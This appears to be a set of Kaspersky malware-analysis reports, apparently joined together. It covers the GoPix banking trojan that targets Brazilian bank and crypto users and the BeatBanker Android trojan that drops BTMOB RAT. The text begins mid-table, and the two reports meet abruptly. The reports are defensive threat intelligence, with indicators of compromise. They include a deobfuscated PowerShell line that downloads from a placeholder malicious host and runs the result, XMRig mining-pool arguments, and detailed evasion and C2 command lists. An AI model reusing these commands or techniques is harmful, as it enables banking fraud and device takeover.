hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

• To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
• It monitors battery temperature and percentage, and checks whether the user is using the device.
• At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
• It deploys a banker in addition to a cryptocurrency miner.
• When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
• New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

• -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
• -k (keepalive)
• --tls (encrypted connection)
• --no-color (disable colored output)
• --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

• isCharging: indicates whether the phone is charging;
• batteryLevel: the exact battery percentage;
• isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
• isUserAway: indicates whether the user is away from the device (screen off and inactive);
• overheat: indicates whether the device is overheating;
• temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

• Chrome
• Firefox
• sBrowser
• Brave
• Opera
• DuckDuckGo
• Dolphin Browser
• Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command	Description
0	Starts dynamic loading of the DEX class
Update	Simulates software update and locks the screen
msg:	Displays a Toast message with the provided text
goauth<*>	Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>	Sets the protection bypass flag AccessService.bypass to “True” and sets the initializeService.uninstall flag to “Off”
srec<*>	Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>	Pastes text from the clipboard (via Accessibility Services)
GRC<*>	Lists all existing audio recording files
gtrc<*>	Sends a specific audio recording file to the C2
lcm<*>	Lists supported front camera resolutions
usdtress<*>	Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>	Opens a link in the browser
EHP<*>	Updates login credentials (host, port, name) and restarts the application
ssms<*>	Sends an SMS message (individually or to all contacts)
CRD<*>	Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>	Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>	Immediately locks the screen using Device Administrator permissions
adm<>wip<>	Performs a complete device data wipe (factory reset)
Aclk<*>	Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod	Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA	Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB:	Enables (1) or disables (0) the keylogger
RPM<*>lod	Checks the status of all critical permissions
RPM<*>ACC	Requests Accessibility Services permission
RPM<*>DOZ	Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW	Requests Draw Over Other Apps permission (overlay)
RPM<*>INST	Requests permission to install apps from unknown sources (Android 8+)
ussd<*>	Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>	Sets the text for the lock overlay
BLKV<*>	Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>	Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*>	Clears or sends all keylogger logs
rdd<*>	Deletes a specific log file
rd<*>	Sends the content of a specific keylogger file
MO<*>	Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*>	Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>	Creates persistent and custom notifications
sp<*>	Executes a sequence of swipes/taps (gesture macro)
lodp<*>	Manages saved links in the internal browser (add, edit, delete, list)
scc:	Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net